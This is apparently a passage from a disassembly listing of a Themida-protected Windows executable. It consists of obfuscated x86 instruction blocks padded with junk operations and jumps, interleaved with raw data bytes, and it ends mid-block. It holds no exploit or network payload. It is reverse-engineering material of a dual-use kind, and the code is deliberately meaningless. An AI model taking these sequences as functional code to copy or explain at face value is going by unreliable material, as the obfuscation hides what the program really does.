; ---------------------------------------------------------------------------


loc_56125A:				; CODE XREF: Themida_:0056EE97j
		add	dword ptr [esp+8], 78D64B2Fh
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 78D64B2Fh
		mov	ecx, [esp]
		add	esp, 4
		sub	[esp+4], esi
		jmp	loc_5677EA
; ---------------------------------------------------------------------------
		dd 2EC835Ah, 240C8966h,	0B5B2B050h, 0D6ED80D7h,	0C580C528h
		dd 6B09E9D6h, 8B660000h, 0F968240Ch, 0E900005Ch, 5B5h
		dd 4302EBC1h, 1790EB81h, 0BE5678CAh, 7E953389h,	15EF329h
		dd 0C6815BDEh, 0CCE7BC1Dh, 535EF289h, 126204BBh, 9BC3811Fh
		dd 815325C5h, 493755C7h, 81DF2975h, 493755EFh, 0C7815B75h
		dd 76073CF3h, 0EF81D701h, 76073CF3h, 279FC781h,	148B7238h
		dd 4C48124h, 81000000h,	4ECh, 242C8900h, 1C34E953h, 0F0B50000h
		dd 0E9E800h, 81000108h,	0B05B6E9h, 59CE011Dh, 0E089505Dh
		dd 405h, 4E88300h, 5C240487h, 0E9241489h, 0FA5Fh, 0E9240C89h
		dd 0FFFFC972h, 17E9B2B1h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561347:				; CODE XREF: Themida_:00564806j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 691C23EBh
		push	edi
		mov	edi, 23541E3Bh
		add	[esp+8], edi
		pop	edi
		add	dword ptr [esp+4], 146814E7h
		push	eax
		mov	eax, 7E8561F1h
		sub	[esp+8], eax
		pop	eax
		jmp	loc_5639D2
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 10h
		dd 85C3805Ah, 103EE9h, 241C8B00h, 0C953E953h, 0B8500000h
		dd 353A03A8h, 0FF7CE9h,	57BD5500h, 4D61E634h, 6F0FED81h
		dd 0F7557CBFh, 815D2414h, 35D7C2EDh, 235DE9D7h,	83560000h
		dd 0EC8104ECh, 4, 81242489h, 42404h, 48F0000h, 4EC8324h
		dd 0E9243489h, 5F34h, 0B9514048h, 167C62F9h, 0C8BC801h
		dd 4C48124h, 35000000h,	0EA15ED1Bh, 8ADEA81h, 0C2295541h
		dd 9324E9h
		db 0
; ---------------------------------------------------------------------------


loc_5613F9:				; CODE XREF: Themida_:0056F534j
		push	dword ptr [esp]
		jmp	loc_56D685
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0E2E95E04h, 5AFFFFD3h, 0FFE564E9h, 0E8EF81FFh, 81042C7Fh
		dd 8CDC42EFh, 5FFD09C6h, 8797F581h, 0E9319CBCh,	5D2434FFh
		dd 3ABE955h, 895B0000h,	0BDE9E9FAh, 505C0000h, 0BAD68h
		dd 240C8900h, 781E56B9h, 53D8B871h, 0C8312569h,	68240C8Bh
		dd 7206h, 89242C89h, 4C581E5h, 81000000h, 4C5h,	242C8700h
		dd 872DE9h, 66556600h, 2C8B6652h, 0E6895624h, 4C681h, 0C6810000h
		dd 2, 0D2E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_56148D:				; CODE XREF: Themida_:0056C272j
		neg	ecx
		xor	ecx, 9581A183h
		sub	esi, 2EDC243Bh
		add	esi, ecx
		jmp	loc_567769
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0E82D48C1h, 0E9D10161h, 0FFFFCC9Eh
; ---------------------------------------------------------------------------


loc_5614B0:				; CODE XREF: Themida_:0056F62Ej
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	5B0Fh
		mov	[esp], ebx
		jmp	loc_572490
; ---------------------------------------------------------------------------
		db 1, 0F8h, 5Fh
		dd 6671E9h, 5AD68900h, 2C0DE9h,	4C18300h, 0E9240C87h, 0ED20h
; ---------------------------------------------------------------------------


loc_5614F8:				; CODE XREF: Themida_:005680E3j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_567460
; ---------------------------------------------------------------------------
		db 68h
		dd 60Bh, 54240489h, 0E6E9h, 241C8B00h, 0A6BE9h,	81595E00h
		dd 4ECh, 241C8900h, 48B95150h, 5525B618h, 0C07AF668h, 0E9DEE936h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561536:				; CODE XREF: Themida_:00566FBDj
		pop	ebx
		push	44AEh
		jmp	loc_56E1A8
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
		dd 0B97BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56154A:				; CODE XREF: Themida_:0056FBE2j
		xor	ebp, 1EEB3C44h
		add	ebp, 1945D525h
		xor	edx, ebp
		pop	ebp
		add	ebp, edx
		pop	edx
		sub	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edx
		mov	edx, 800h
		mov	ecx, edx
		pop	edx
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	545Bh
		jmp	loc_56EB20
; ---------------------------------------------------------------------------


loc_56158E:				; CODE XREF: Themida_:0056B551j
		pop	esp
		jmp	loc_564696
; ---------------------------------------------------------------------------


loc_561594:				; CODE XREF: Themida_:0056D8CCj
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		jmp	loc_56077F
; ---------------------------------------------------------------------------
		db 0B8h, 0EEh, 6Bh
		dd 0E0C11924h, 3FD80D03h, 0F42D5AD4h, 0E9DBF77Fh, 0FFFFC57Eh
		dd 33241431h, 685C2414h, 55D4h,	0E9240489h, 0FFFFB8F5h
		dd 53240C8Bh, 0FFCE52E9h, 66F9B6FFh, 79B551h, 0E95966EEh
		dd 817Eh, 4240481h, 0FF000000h,	0BBE92434h, 8B00007Ah
		dd 0C4812404h, 4, 405h,	15E95500h
		db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56160B:				; CODE XREF: Themida_:0056356Bj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_570F36
; ---------------------------------------------------------------------------
aM0FrJfqPs_8	db '¬0ØfR¶jfQµé.8',0
		align 2
		dw 0D801h
		dd 0D7BE9h
		db 0
; ---------------------------------------------------------------------------


loc_56162D:				; CODE XREF: Themida_:0056757Fj
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_56CF57
; ---------------------------------------------------------------------------
aSev		db '^é¥v',0
		dd 442D6800h, 4890000h,	4B824h,	0E9810000h, 3BCF4F45h
		dd 0C181C101h, 3BCF4F45h, 8124048Bh, 4C4h, 0E9575500h
		dd 1239h, 5102C183h, 42474FFh, 24048F59h, 0BB47E95Ch, 3C28FFFFh
		dd 243C8A24h, 8002C483h, 52E995E7h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56168F:				; CODE XREF: Themida_:0055F34Fj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_562BFF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E924048Bh, 0B8EAh, 0EA81CA01h, 6B6D3EB8h, 0FFDF34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5616B5:				; CODE XREF: Themida_:0055D020j
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	1730h
		jmp	loc_55E644
; ---------------------------------------------------------------------------
		db 29h
		dd 0E83159CDh, 8B2434FFh, 0ADE9242Ch
		db 0F9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5616DB:				; CODE XREF: Themida_:00570B29j
		add	edx, eax
		jmp	loc_569DEA
; ---------------------------------------------------------------------------
		dw 9EBEh
		dd 815D5454h, 593E38EEh, 0AC6812Eh, 56236BF2h, 0C0255E58h
		dd 0E910F667h, 0E98Fh
; ---------------------------------------------------------------------------


loc_561700:				; CODE XREF: Themida_:00564D4Aj
		xor	edi, edx
		pop	edx
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 19FA5501h
		jmp	loc_55DA99
; ---------------------------------------------------------------------------


loc_561719:				; CODE XREF: Themida_:00560E5Cj
		push	54FE5B80h
		mov	eax, [esp]
		jmp	loc_560166
; ---------------------------------------------------------------------------


loc_561726:				; CODE XREF: Themida_:0056E8BBj
		mov	esi, 39436B20h
		jmp	loc_565E6A
; ---------------------------------------------------------------------------


loc_561730:				; CODE XREF: Themida_:0056488Dj
		pop	esi
		inc	ebx
		and	ebx, 23824AE4h
		jmp	loc_563118
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 6Dh
		dd offset dword_59EB28
		dd 6DC380F3h, 66C5EB80h, 0E0CB805Ah, 5105EBC0h,	0F5807DB5h
		dd 0C1F580F3h, 2859EB30h, 88535BDDh, 5BFE88EFh,	81240C8Bh
		dd 4ECh, 0EA63E900h, 1FB9FFFFh,	0E97D074Ah, 1F4Dh, 144168h
		dd 24348900h, 42474FFh,	5E2434FFh, 0FFE0EBE9h, 32FF64FFh
		dd 0FFB728E9h, 0F7815FFFh, 6855410Bh, 5A5FFE89h, 0FF1C7709h
		dd 0E95E2434h, 3EAFh, 3396F581h, 0F58123E4h, 26721E3h
		dd 200CBA52h, 0EAC10310h, 0E9D2F705h, 0BCF7h
; ---------------------------------------------------------------------------


loc_5617D0:				; CODE XREF: Themida_:00564D04j
		pop	edi
		push	ebx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_567B9D
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58100h, 87000000h, 15C242Ch,	0EC8159C8h, 4
		dd 0BE243489h, 2, 8346E9h, 0CF814F00h, 28CF06BDh, 818BF781h
		dd 31E96A15h, 810000A0h, 0E4B7FDF2h, 5AD10163h,	1EDAB951h
		dd 0D1F711F7h, 2634E949h, 0C8B0000h, 4EC8324h, 0E9241C89h
		dd 0D83Bh, 4EC815Ah, 89000000h,	58542404h, 3160E9h, 1C77FF00h
		dd 6658669Dh, 9C240411h, 0FFB668E9h, 240489FFh,	28685854h
		dd 89000067h, 0BB532434h, 4, 8904EC83h,	2C81241Ch, 692C3724h
		dd 0C81EE965h, 34FFFFFFh, 24048B24h, 5004C483h,	6440E9h
		dd 24148700h, 358E95Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_56189A:				; CODE XREF: Themida_:0056DD11j
		mov	[esp], edi
		push	eax
		mov	eax, 4
		jmp	loc_56E5DC
; ---------------------------------------------------------------------------
		dd 5C241487h, 8EACB951h, 0CA31A31Bh, 83240C8Bh,	7D2D04C4h
		dd 2D43BE58h, 6EDC65DBh, 0DB05D001h, 0E96EDC65h, 0FFFFB8FFh
; ---------------------------------------------------------------------------


loc_5618D0:				; CODE XREF: Themida_:005707ADj
		pop	esi
		jmp	loc_56FC9F
; ---------------------------------------------------------------------------


loc_5618D6:				; CODE XREF: Themida_:0056AF02j
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_566FBC
; ---------------------------------------------------------------------------


loc_5618E9:				; CODE XREF: Themida_:0055F614j
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 45203BC0h
		sub	edx, 0FFFFFFFFh
		push	edi
		push	6EBD1C31h
		pop	edi
		jmp	loc_5605E0
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 0C895C24h, 0E3CB924h, 0CE9209Dh
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561917:				; CODE XREF: Themida_:00568D29j
		push	ebp
		jmp	loc_56C88F
; ---------------------------------------------------------------------------
		db 42h,	81h, 0EAh
		dd 0B6144D71h, 315AD601h, 0D8895EF3h, 0E9C1295Bh, 0C6C9h
		dd 647174BEh, 24742900h, 0DEB2E904h, 5452FFFFh,	0B869E95Ah
		dd 74010000h, 0BE560424h, 6993241Dh, 0AE17E9h
		db 0
; ---------------------------------------------------------------------------


loc_561959:				; CODE XREF: Themida_:00571148j
		mov	ebp, 4F3B158Ah
		add	edi, ebp
		pop	ebp
		pop	esi
		and	ecx, edi
		pop	edi
		shr	ecx, 2
		jmp	loc_56EA96
; ---------------------------------------------------------------------------


loc_56196D:				; CODE XREF: Themida_:00571E3Bj
		add	ebx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, 661E7FBCh
		add	edi, ebx
		add	edi, 661E7FBCh
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_566109
; ---------------------------------------------------------------------------


loc_56199D:				; CODE XREF: Themida_:005714F1j
		pop	ebx
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_5722BB
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 81h
		dd 4ECh, 24348900h, 559D8FBEh, 5EF131A1h, 0C8BCA89h, 4C48124h
		dd 0E9000000h, 0A4C9h, 7F4BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5619D2:				; CODE XREF: Themida_:0055DD2Dj
		pop	edx
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56E6C9
		push	7AF0h
		mov	[esp], edx
		push	ebx
		jmp	loc_56D5F9
; ---------------------------------------------------------------------------
		dd 7EA5C581h, 0EC8178A5h, 4, 40E5E9h, 5FFD0900h, 0E82E9h
		dd 2C48100h, 0E9000000h, 0D999h, 49256855h, 0E95D5FE6h
		dd 3AB9h, 0BB05C681h, 0F101CEE7h, 74FF515Eh, 8F590424h
		dd 248B2404h, 4C58124h,	83000000h, 496802C5h, 89000069h
		dd 74FF242Ch, 2C8B0424h, 4C48124h, 0E9000000h, 0FFFFF141h
; ---------------------------------------------------------------------------


loc_561A5C:				; CODE XREF: Themida_:00563C4Ej
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_568033
; ---------------------------------------------------------------------------
		dd 5D8015Eh, 7D32677Dh,	7BCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_561A7D:				; CODE XREF: Themida_:00567C4Bj
		push	edx
		mov	edx, 397C472Dh
		or	edx, 479C79A0h
		add	edx, 3AC962BDh
		shl	edx, 4
		inc	edx
		add	edx, 0D1EFE3C3h
		sub	eax, edx
		jmp	loc_563C53
; ---------------------------------------------------------------------------
aIshO		db '‰áhÃo',0
		dw 8900h
		dd 0E389241Ch, 4C381h, 0EB830000h, 241C8704h, 0ACD9E9h
		dd 24048B00h, 544C68h, 0D4F6E900h, 2A2CFFFFh, 0B753D800h
		dd 0F0A7E9A4h, 6B350000h, 1FA7FFDh, 0DA4DE9C3h,	0B58FFFFh
		dd 30840FC9h, 54FFFFFAh, 936AE9h, 5BDE3000h, 0FFCE06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561AF9:				; CODE XREF: Themida_:0057255Bj
		add	edx, eax
		push	edi
		mov	edi, 688A78D3h
		sub	edx, edi
		jmp	loc_5621C7
; ---------------------------------------------------------------------------
		dd 2ED268h, 24248900h, 4240481h, 0FF000000h, 93E92434h
		dd 5900009Bh, 5E08950h,	4, 0E904E883h, 7283h, 0FF04C483h
		dd 555B2434h, 4FDAE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B3E:				; CODE XREF: Themida_:0055D4CAj
		sub	esp, 4
		jmp	loc_56A072
; ---------------------------------------------------------------------------
		db 5, 0ABh, 0Dh
		dd 0D8F704E5h, 4E296F0Dh, 0FF7CE960h, 665CFFFFh, 0E9240C8Bh
		dd 0DE5h, 5B2D0FBAh, 58E2816Eh,	0E9587A4Ch, 0A0ADh, 525DE909h
		dd 291994BAh, 0C5F2815Fh, 21395B78h, 0C1815AD1h, 547569B6h
		dd 49D068h, 24348900h, 0A56B03BEh, 5EF131BAh, 0C8BCE01h
		dd 5E545624h, 4C681h, 0C6830000h, 24343304h, 33243431h
		dd 0B6E92434h, 660000F3h, 68240C8Bh, 3E7h, 54241C89h, 8B2434FFh
		dd 0C481241Ch, 4, 4C481h, 51570000h, 3F07C6B9h,	1446856h
		dd 14890000h, 0D1ADE924h, 0D001FFFFh, 0C4642605h, 18B2D2Ah
		dd 55A25D0h, 4,	5C240487h, 577FC281h, 0C2015C7Dh, 577FEA81h
		dd 89575C7Dh, 4C781E7h,	81000000h, 4EFh, 243C8700h, 2434895Ch
		dd 0FFFDEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C2D:				; CODE XREF: Themida_:005722FDj
		add	esi, 4
		push	40EDh
		mov	[esp], eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_570790
; ---------------------------------------------------------------------------
aLPirs		db '‹$$P‰àé¼!',0
		align 2


loc_561C52:				; CODE XREF: Themida_:0056EDA1j
		pop	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		jmp	loc_56BEA7
; ---------------------------------------------------------------------------


loc_561C5E:				; CODE XREF: Themida_:0056BC77j
		add	edx, edi
		push	ebx
		push	esi
		mov	esi, 32CF0668h
		jmp	loc_56EC01
; ---------------------------------------------------------------------------
		dd 833543B8h, 6BC8B919h, 0C1311FB4h, 8324048Bh,	0D9F704C4h
		dd 36CABA52h, 8CE90ADFh, 52FFFFFBh, 0C281E289h,	4, 8704EA83h
		dd 895C2414h, 0F8682414h, 8900006Eh, 4832424h, 0E95A0424h
		dd 79BAh
; ---------------------------------------------------------------------------


loc_561CB0:				; CODE XREF: Themida_:00569BDDj
		add	esi, ebx
		push	edx
		mov	edx, esp
		jmp	loc_56E55F
; ---------------------------------------------------------------------------


loc_561CBA:				; CODE XREF: Themida_:005685F2j
		add	esp, 4


loc_561CBD:				; CODE XREF: Themida_:00561010j
		push	6762h
		jmp	loc_56E3DA
; ---------------------------------------------------------------------------


loc_561CC7:				; CODE XREF: Themida_:005605DBj
		sub	ebp, 2E36606Eh
		or	ebp, 19A34FBBh
		push	edi
		mov	edi, 7F9F2F42h
		xor	ebp, edi
		pop	edi
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_568613
; ---------------------------------------------------------------------------


loc_561CE6:				; CODE XREF: Themida_:00560580j
		not	edi
		sub	edi, 0E2A47DC4h
		sub	edx, 1B1B6A7Eh
		jmp	loc_55E5FD
; ---------------------------------------------------------------------------


loc_561CF9:				; CODE XREF: Themida_:005663E7j
		xor	esi, 0EC27A443h
		jmp	loc_56FB1E
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 4818734h, 594CD724h, 5D67E929h, 0E95A0000h
		dd 0DA26h, 0AEBA5259h, 0C13C2E63h, 0E28103E2h, 5C2C0331h
		dd 9431E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561D32:				; CODE XREF: Themida_:005637C6j
		dec	esi
		dec	esi
		sub	esi, 32860561h
		xor	esi, 68D21724h
		jmp	loc_565019
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 5Fh
		dd 81157259h, 516E8DC5h, 98E58131h, 81015557h, 3D3A8CEDh
		dd 5DEB31FCh, 9045E951h, 0ED810000h, 0EF52874h,	0E9241C8Bh
		dd 0C5C2h
; ---------------------------------------------------------------------------


loc_561D74:				; CODE XREF: Themida_:0056283Bj
		sub	eax, ebx
		pop	ebx
		pop	esi
		jmp	loc_563542
; ---------------------------------------------------------------------------
		db 0BAh, 0DAh, 74h
		dd 0EAC1207Fh, 0F7EA8105h, 0E94B832Bh, 0FFFFD2A8h, 9841E959h
		dd 0E9810000h, 0E787060h, 0E902E1C1h, 63B1h, 5B2434FFh
		dd 8004C483h, 0ED8024E5h, 0DEF5800Dh, 8904EC83h, 0EA882414h
		dd 8B5AD388h, 0C483240Ch, 0FFD83004h, 1C8B2434h, 371D6824h
		dd 2C890000h, 0E9E58924h, 54Bh
; ---------------------------------------------------------------------------


loc_561DDC:				; CODE XREF: Themida_:0056242Bj
		add	esi, 753770A2h
		push	ecx
		push	eax
		push	esi
		push	ebp
		mov	ebp, 7DB457C2h
		xor	ebp, 59B55123h
		push	ebp
		jmp	loc_56806E
; ---------------------------------------------------------------------------
		db 0B3h
		dd 5EBC003h, 2EC81h, 89660000h,	0E9512414h, 0FFFFF534h
; ---------------------------------------------------------------------------


loc_561E0C:				; CODE XREF: Themida_:0056FB50j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561008
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4E4E957h
		db 1, 0
; ---------------------------------------------------------------------------


loc_561E1E:				; CODE XREF: Themida_:0055E5F0j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_56C542
; ---------------------------------------------------------------------------


loc_561E41:				; CODE XREF: Themida_:00567AE1j
		xor	ebp, 0A27BDB72h
		xor	ebp, 22BA3647h
		jmp	loc_55D9A8
; ---------------------------------------------------------------------------
		dw 6850h
		dd 0CC13561h, 582434FFh, 4C481h, 5D680000h, 89000008h
		dd 49BB241Ch, 8110AD34h, 4F082444h, 57565F64h, 0A203E9h
		db 0
; ---------------------------------------------------------------------------


loc_561E7D:				; CODE XREF: Themida_:005601AAj
		add	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, al
		sub	bl, 0D7h
		push	759Eh
		mov	[esp], eax
		mov	ah, 0CDh
		sub	bl, 6Bh
		sub	bl, ah
		add	bl, 6Bh
		pop	eax
		jmp	loc_57181D
; ---------------------------------------------------------------------------
		db 5Eh,	29h, 0CAh
		dd 798EEA81h, 5E591E51h, 57E168h, 240C8900h, 0BC215CB9h
		dd 5BE98136h, 0E93E005Ah, 1019Bh, 24048B66h, 4EC81h, 12E90000h
		dd 56000061h, 0C681E689h, 4, 61C7E9h, 24048F00h, 242C895Ch
		dd 4BE56h, 0F5890000h, 0E9E8895Eh, 6D68h, 7C14C181h, 0CA89710Fh
		dd 55E94259h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561F0B:				; CODE XREF: Themida_:00560F89j
		xor	edx, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_570C4E
; ---------------------------------------------------------------------------


loc_561F17:				; CODE XREF: Themida_:0056DDE2j
		add	ebx, 0FFFFFFFFh
		xchg	ebx, esi
		jmp	loc_5603B5
; ---------------------------------------------------------------------------
		db 0BAh, 6, 76h
		dd 86BB7FC3h, 31586030h, 24148BD3h, 3104C483h, 0F4F8E9DFh
		dd 0E589FFFFh, 4C581h, 0C5810000h, 4, 2474FF55h, 48F5D04h
		dd 48F5C24h, 3195E924h,	148B0000h, 4C48124h, 88000000h
		dd 0D0305BDAh, 0E924148Bh, 102FBh, 9D1C77FFh, 24041958h
		dd 0AF47E99Ch, 0E957FFFFh, 0F18h, 4C481h, 0E8280000h, 50526659h
		dd 0FFDE9BE9h, 9BE958FFh, 8BFFFFDAh, 0E9572404h, 0B25Dh
; ---------------------------------------------------------------------------


loc_561FA4:				; CODE XREF: Themida_:005653D8j
		push	ebx
		jmp	loc_566284
; ---------------------------------------------------------------------------
		dw 16E9h
		dd 81FFFFAFh, 0AD14B0C3h, 6DC3816Eh, 0E9E3E047h, 0FFFFD535h
		dd 19E9CD01h
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561FC7:				; CODE XREF: Themida_:005608B8j
		push	edi
		mov	edi, 220059F5h
		sub	ebp, edi
		jmp	loc_5637BD
; ---------------------------------------------------------------------------
		dd 3A0DF381h, 0B8507B19h, 308A72E2h, 98F2E9h, 24043100h
		dd 5C240433h, 0FFF25DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561FF1:				; CODE XREF: Themida_:0056BD57j
		pop	edx
		push	ebx
		push	ecx
		push	569A6293h
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 601A1055h
		mov	ebx, ecx
		pop	ecx
		shl	ebx, 2
		push	edx
		push	eax
		jmp	loc_5696FD
; ---------------------------------------------------------------------------


loc_562015:				; CODE XREF: Themida_:005601A3j
		shr	eax, 0Eh
		jmp	loc_56C0CF
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C4h
		dd 4, 0C7A7E953h, 0D8F7FFFFh, 2FE32605h, 58C129F0h, 0C181D101h
		dd 0D2C209Bh, 8B2434FFh, 0C4832414h, 7199E904h,	0EA010000h
		dd 156C281h, 875D2E3Dh,	0E95C2414h, 5491h, 48BC329h, 0BD46E924h
		dd 2C8BFFFFh, 4C48324h,	4C281h,	14330000h, 0F5DDE924h
		dd 8F540000h, 4832404h,	83590424h, 348904ECh, 5BC2E924h
		dd 8B660000h, 5E682404h, 8900002Bh, 0EF682404h,	0E900002Eh
		dd 293Dh
; ---------------------------------------------------------------------------


loc_5620A4:				; CODE XREF: Themida_:00565F7Bj
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 54F3422Bh
		or	ecx, 444E2FB2h
		not	ecx
		neg	ecx
		push	edi
		jmp	loc_5646AD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2BD7EF81h, 0CF0107D9h, 2BD7C781h, 0CE907D9h,	0F70000F2h
		dd 2DE981D9h, 817DAB05h, 794F3DF1h, 0D2E9812Ah,	5766D5EDh
		dd 6C5687BFh, 0BAEF8101h, 817D8735h, 330F45C7h,	0D0F78128h
		dd 31B7802Bh, 4D1CE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56210E:				; CODE XREF: Themida_:005675EEj
		sub	ecx, 0B61D0277h
		sub	edi, ecx
		pop	ecx
		pop	ebp
		jmp	loc_56B5BB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C181h, 0E9810000h, 4, 88B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_562131:				; CODE XREF: Themida_:0055D17Fj
		sub	edi, 7A147A41h
		jmp	loc_56A123
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 48F0000h,	4BD5524h, 1000000h, 8B04246Ch
		dd 35E9242Ch, 8100006Bh, 42404h, 685A0000h, 2E62h, 0BF243C89h
		dd 4, 0FFC207E9h, 241487FFh, 6824248Bh,	6F0Bh, 68240489h
		dd 4, 9EBF5758h, 29240A26h, 17B8E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562196:				; CODE XREF: Themida_:0055D8CEj
		sub	ebp, edx
		pop	edx
		pop	eax
		jmp	loc_55F660
; ---------------------------------------------------------------------------


loc_56219F:				; CODE XREF: Themida_:0056936Dj
		pop	ebx
		add	esp, 4
		jmp	loc_5710C3
; ---------------------------------------------------------------------------
		dd 4BFh, 45620500h, 4F055E98h, 0E913C068h, 0FFFFBBE1h
		dd 4EC81h, 38E90000h
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5621C7:				; CODE XREF: Themida_:00561B03j
		pop	edi
		pop	eax
		add	edx, edi
		sub	edx, 7472090Ch
		push	ebx
		push	edi
		mov	edi, 36993442h
		add	edi, 0F9AE03Dh
		mov	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 76394C15h
		and	ebp, 2BB96153h
		jmp	loc_56A0BC
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 0D85EA0BEh, 5EF7214Fh, 10E2BE56h, 0EEC17971h, 68515002h
		dd 21B02B18h, 0FFB104E9h, 0C4E955FFh, 81000055h, 4ECh
		dd 240C8900h, 0BF57E189h, 582624A5h, 0D0CF8147h, 0E9763E17h
		dd 0FFFFB6D9h
; ---------------------------------------------------------------------------


loc_562234:				; CODE XREF: Themida_:005659C2j
		push	6E42h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esi, 0FFFFFFFFh
		neg	esi
		jmp	loc_564986
; ---------------------------------------------------------------------------
		db 0B8h
		dd 69FC4605h, 3108BA52h, 27E90295h, 89FFFFE1h, 0E9512404h
		dd 4F99h, 36E9D621h, 830000BEh,	0FF5004C0h, 58042474h
		dd 5C24048Fh, 4EE81h, 34330000h, 24343124h, 8B243433h
		dd 13E92424h, 89000039h, 0BA52240Ch, 0D73BEF18h, 148BD189h
		dd 4C48124h, 29000000h,	0F83159CFh, 0DABF575Fh,	813E673Ch
		dd 0F05A3ECFh, 2EFC15Ch, 0F537E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622CE:				; CODE XREF: Themida_:0055FCE2j
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1D892C39h
		push	ecx
		mov	ecx, 7F20205Ah
		jmp	loc_56C4E5
; ---------------------------------------------------------------------------
		db 80h,	0E2h, 12h
aA5sB		db '€Â5éÏB',0
		align 4
		dd 8F7815Eh, 533ADE77h,	0A25BEBBh, 5E3C13Ch, 55D1B951h
		dd 0CB214451h, 0E3C14359h, 0F2F5E908h, 4310000h, 9EE99C24h
		dd 81FFFFABh, 4C5h, 0A1E95100h,	5FFFFFB6h, 5D68C201h, 89000045h
		dd 0E950240Ch, 0FFFFF928h, 0ECABB53h, 0E381243Bh, 4FA6B05h
		dd 5315C381h, 4DE90BB8h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56235B:				; CODE XREF: Themida_:005648BBj
		not	eax
		push	ebx
		jmp	loc_57124C
; ---------------------------------------------------------------------------


loc_562363:				; CODE XREF: Themida_:00568FA0j
		mov	[esp], ecx
		mov	ecx, 24h
